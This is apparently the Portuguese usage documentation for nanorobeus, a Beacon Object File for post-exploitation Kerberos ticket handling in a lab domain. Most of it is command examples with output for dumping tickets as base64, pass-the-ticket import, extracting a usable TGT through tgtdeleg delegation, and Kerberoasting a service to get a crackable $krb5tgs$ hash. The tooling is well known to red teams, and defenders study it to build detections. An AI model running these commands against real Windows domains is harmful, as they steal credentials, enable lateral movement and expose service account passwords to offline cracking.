
Arquivo COFF (BOF) para gerenciamento de tickets Kerberos.
Arquivo COFF (BOF) para gerenciar tickets Kerberos.
luid - obter o ID de logon atual
sessions [/luid:<0x0>| /all] - obter sessões de logon
klist [/luid:<0x0> | /all] - listar tickets Kerberos
dump [/luid:<0x0> | /all] - extrair tickets Kerberos
ptt /ticket:<base64> [/luid:<0x0>] - importar ticket Kerberos em uma sessão de logon
purge [/luid:<0x0>] - limpar tickets Kerberos
tgtdeleg /spn:<spn> - recuperar um TGT utilizável para o usuário atual
kerberoast /spn:<spn> - realizar Kerberoasting contra o SPN especificado
Obter o ID de logon atual.
=> nanorobeus64 luid
[+] Current LogonId: 0:0x19ea88e
Obter informações detalhadas sobre a sessão de logon atual.
=> nanorobeus64 sessions
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : [email protected]
Listar tickets Kerberos para a sessão de logon atual. Quando elevado, use /all para listar tickets de todas as sessões ou /luid:0x0 para listar tickets em uma sessão de logon específica.
=> nanorobeus64 klist
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : [email protected]
[*] Cached tickets: (6)
[0]
Client name : User @ FORTRESS.LOCAL
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
Start time : 2/7/2022 19:22:44 (UTC)
End time : 3/7/2022 5:22:43 (UTC)
Renew time : 9/7/2022 19:22:43 (UTC)
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
Encryption type : AES256_CTS_HMAC_SHA1
...(snip)...
Extrair tickets da sessão de logon atual. Quando elevado, use /all para extrair tickets de todas as sessões ou /luid:0x0 para extrair tickets de uma sessão de logon específica.
=> nanorobeus64 dump
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : [email protected]
[*] Cached tickets: (6)
[0]
Client name : User @ FORTRESS.LOCAL
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
Start time : 2/7/2022 19:22:44 (UTC)
End time : 3/7/2022 5:22:43 (UTC)
Renew time : 9/7/2022 19:22:43 (UTC)
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
Encryption type : AES256_CTS_HMAC_SHA1
Ticket : doIFFjCCBRKgAwIBBaEDAgEWooIEGTCCBBVhggQRMIIEDaADAg...(snip)...
Importar um ticket na sessão de logon atual. Quando elevado, use /luid:0x0 para importar o ticket em uma sessão de logon específica.
=> make_token network fortress.local test pass
=> nanorobeus64 ptt /ticket:doIFqjCCBaagAwIB...snip...
[+] Ticket successfully imported.
Limpar todos os tickets Kerberos da sessão de logon atual. Quando elevado, use /luid:0x0 para limpar os tickets de uma sessão de logon específica.
=> nanorobeus64 purge
[+] Successfully purged tickets.
Recuperar um TGT utilizável para o usuário atual.
=> nanorobeus64 tgtdeleg /spn:cifs/server.fortress.local
[*] Found the AP-REQ delegation ticket in the GSS-API output
[*] Authenticator etype: AES256_CTS_HMAC_SHA1
[*] Successfully extracted the service ticket session key
[*] Successfully decrypted authenticator
[+] Successfully extracted TGT: doIFeDCCBXSgAwIBBaEDAgEWooIEcjC...(snip)...
Realizar Kerberoasting especificando o SPN:
=> nanorobeus64 kerberoast /spn:HTTP/server.fortress.local
[*] Target SPN: HTTP/server.fortress.local
[+] Hash: $krb5tgs$23$*$FORTRESS.LOCAL$HTTP/server.fortress.local*$ac5e2f4d28fd377...(snip)...